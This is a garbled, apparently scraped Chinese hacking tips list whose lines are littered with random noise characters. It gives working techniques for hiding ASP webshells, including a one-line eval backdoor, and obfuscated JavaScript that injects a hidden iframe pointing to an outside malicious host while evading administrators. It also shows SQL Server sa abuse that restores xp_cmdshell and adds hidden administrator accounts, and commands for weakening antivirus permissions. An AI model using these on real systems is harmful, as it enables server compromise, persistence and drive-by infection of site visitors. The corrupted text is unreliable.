2 b0 G+ B. f$ K% Z6 T9 G+ S: m {用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。' Y" V' d; o2 L; ^
. e2 p$ G( Q" _9 C9 n2 g l
53、隐藏ASP后门的两种方法" h1 L) o7 W! Z2 z) s: S
1、建立非标准目录:mkdir images..\
& E1 i; y5 q8 o; H拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
/ N% o: Y) L! h v0 m通过web访问ASP木马:http://ip/images../news.asp?action=login
8 t3 z7 k H: Y3 t1 C如何删除非标准目录:rmdir images..\ /s( o0 _* T$ L! J( C. X
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:
+ l J! O9 c0 W5 v3 v" tmkdir programme.asp
R& Q/ f& L+ s+ M# o: | |新建1.txt文件内容:<!--#include file=”12.jpg”-->
& z, Q) O% |& D! n; M) ?新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
& b0 h' r6 u! m, `; P+ ~attrib +H +S programme.asp. u: u! \% q; X* x/ m5 N2 e
通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt2 [( ?# d) ~: ]' @3 Z* i
8 V, r h( A2 B& r, \' G) y54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。# C9 B: i, w# ~6 }* _3 y% ~+ h$ D
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。
2 ~! b& m9 f+ O: `8 e7 G8 @4 H
' V# Z5 ^* H9 N5 `55、JS隐蔽挂马- d' E2 q1 ~6 [3 X9 ^
1.9 t' x, y6 u& X
var tr4c3="<iframe src=ht";2 A, {- ]5 y1 P" P
tr4c3 = tr4c3+"tp:/";1 `( [1 h; a; Z1 P1 m" T' @
tr4c3 = tr4c3+"/ww";
& d, S1 p6 ?+ wtr4c3 = tr4c3+"w.tr4";4 k; e1 l, H0 @8 { Z
tr4c3 = tr4c3+"c3.com/inc/m";3 s _+ A, @2 x9 v
tr4c3 = tr4c3+"m.htm style="display:none"></i";
$ h1 v" `, v9 k. _/ F/ W- {6 Ftr4c3 =tr4c3+"frame>'";
7 x. c8 M* K5 n! [4 ^ udocument.write(tr4c3);
4 E5 q9 J' i$ w4 P1 X0 o避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
( L a* u* j! v+ I5 X) g0 q& T2 D0 F$ \& I# [' ?
2.
6 \+ U. w" E7 f! y" V1 n8 G转换进制,然后用EVAL执行。如+ _7 K T/ _: H$ P8 x
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");
6 j0 p$ P8 V5 T8 w" v不过这个有点显眼。/ Y: ^# Z/ j; ~' m/ ^; j
3.
; K% s) s; c! ~4 j& r: idocument.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');4 ^; u+ |/ A+ c7 v9 P+ Z5 s- S( G
最后一点,别忘了把文件的时间也修改下。
6 J, H4 R$ k5 B& c% t
0 ~7 L. }1 @- m9 x( [- m' e56.3389终端入侵常用DOS命令# z7 e1 O. O5 Z# f+ O
taskkill taskkill /PID 1248 /t
, T" r% F' x6 Z7 Y7 Y- w0 L3 C" Y! }& p
tasklist 查进程
% u. q" [6 a6 o7 t# z( O% n: I7 K6 m6 i) _2 O" f
cacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限
g/ T+ q4 I3 G8 u/ z& t! Y8 e( z" Diisreset /reboot
, x b, O# l. {& Ltsshutdn /reboot /delay:1 重起服务器' S& s1 ]6 l1 p; _
! V3 c) ]+ T0 H. e% vlogoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,5 \0 z( F$ O5 f" e
0 E0 ~4 ]8 d8 U5 R, r/ oquery user 查看当前终端用户在线情况; I4 g x( k, v- u
7 u+ ]6 q" A: W7 O
要显示有关所有会话使用的进程的信息,请键入:query process *7 b7 z4 W5 Z1 a6 g! k8 c
0 n0 V$ y5 J, `+ [( p
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:23 }. |/ ?: E5 ?6 x8 e0 t
$ _/ k, D2 U) ^- [- G
要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2$ }6 n6 T4 ^3 W0 N
- ?5 k; x. ]2 I( {7 y
要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02
$ G1 j; a! B6 h3 x6 Z4 ?) n8 T$ d6 V9 m: f' s
命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启1 c0 {" I: o2 W& X
6 B9 R) P) [3 e3 ~: M- P) D5 p
命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统/ L$ v$ A$ g$ S0 ~
/ [5 z' D2 r; K
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
' r" D8 G1 x, [2 Z6 h0 z+ F' C' y( T
命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机
. F! C3 y0 x. w# d, ^: K! W
$ Q7 X# W( A, \1 O& F56、在地址栏或按Ctrl+O,输入:, g' |$ K- a1 \
javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
- s B2 m- q6 G) r
+ ~9 ^; V/ r, D( X; v源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
, M" Z7 f. b- L3 f; h3 U
) K5 F. v. B5 O# ?( J& Z" ^ e57、net user的时候,是不能显示加$的用户,但是如果不处理的话,, r! E3 |+ ?# R* J5 p/ @- R
用net localgroup administrators是可以看到管理组下,加了$的用户的。2 \$ p/ t; T7 x. X" _
! i3 S* ^3 `* _! r$ |" \58、 sa弱口令相关命令8 m& x& _. { x7 i
! O. H. c. P Z8 s
一.更改sa口令方法:
( C7 A" A+ o) q2 R. {用sql综合利用工具连接后,执行命令:
& p8 ^8 Q2 F3 d aexec sp_password NULL,'20001001','sa'
2 T1 X# z3 u/ @2 r6 [(提示:慎用!): i' c1 ^- I* ~* g- k8 @% @, K3 T
- u1 t& x) T. d$ K% d7 F, u. q二.简单修补sa弱口令.
7 E) T, l; B7 [- s. v) f T+ O! G' u4 z5 h, g: e9 e
方法1:查询分离器连接后执行:2 r; B$ \' h2 G( A' N# e" U
if exists (select * from
1 ?* U: y% z. _* h) s5 hdbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and# T8 g O' F" w# D% @# h
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
5 j" ?9 w9 q# Y4 P" F. h& `4 z Z( P9 u- x& e9 p
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
9 ~) |4 Q) G5 m1 y6 n6 {( Y% h& h- C: g- N# u
GO" Z* s; N' f) n1 K/ v
, G6 w5 t: v- ~# v. k7 O2 N) w然后按F5键命令执行完毕
, T/ n# v/ u; e& o9 \9 |4 H' V- ^7 k7 C6 {7 q' y
方法2:查询分离器连接后* x8 u- {/ i0 S1 Y5 l- \& |
第一步执行:use master
$ o9 ?5 f& J1 S3 I7 y$ b6 r第二步执行:sp_dropextendedproc 'xp_cmdshell'7 `' m# `6 ^- j
然后按F5键命令执行完毕
0 _0 @4 s# p/ p/ ~$ s5 U
2 S8 K% j/ k' m' {8 U0 o8 z
: c4 `3 ~/ b2 m; ?3 g# b三.常见情况恢复执行xp_cmdshell.
! a# | A0 B; S+ X1 l' \+ y5 a( o: O
' z1 y W0 A/ e8 E1 未能找到存储过程'master..xpcmdshell'.
. ]& T8 i" A0 g( l) @ 恢复方法:查询分离器连接后,9 w" |) x8 K( }/ T4 S
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int9 v5 p! t( g- N+ L& ~8 m
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
5 ^: D& c: n- ]: y, V$ K2 r. r然后按F5键命令执行完毕
9 F* o! T1 d) n* t- S+ n9 y# C/ H% I, R
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
4 f" ^( H+ ~4 c' x6 c恢复方法:查询分离器连接后,
3 X: J* m# o: U* G: t, z第一步执行:sp_dropextendedproc "xp_cmdshell"8 l7 q6 k" V& ? B4 l
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'1 f$ B e( O1 E( M2 U4 l; H
然后按F5键命令执行完毕' z& j& p! q- {- l6 ?3 x! ^
! s0 E& K0 w/ h& k3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
1 b1 r1 e) m0 r5 R恢复方法:查询分离器连接后,6 W2 g2 j* ]5 f
第一步执行:exec sp_dropextendedproc 'xp_cmdshell' h* |4 o, g6 }5 J! p( x0 ~
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' . u! @: J7 U" f
然后按F5键命令执行完毕
8 J3 N' G3 G" V- o+ g7 Q4 ?1 c6 l8 l/ N+ n8 C
四.终极方法.6 o6 {: K9 D! n5 j7 a, ^
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
F- l% W; p) M& A% x查询分离器连接后,
& Y$ z4 }* Y& Y8 _1 N* R2000servser系统:3 a- _+ y& o" X! }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'
. H- ?$ V2 J0 [2 X! k/ e' t2 E0 x9 }" D/ {/ x+ G( \
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'' V3 x; F& v+ V& X6 _
5 j. W; ^8 a3 V6 d% G% k" kxp或2003server系统:6 r( s2 ]$ l. z9 Z) }4 C
( r5 y }# u$ i3 h6 } A
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
1 ^1 S2 P5 D, ?) |3 b8 g9 Z( t/ ?3 F% ]! c
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'
e" N. j t# p" [( R0 v) q |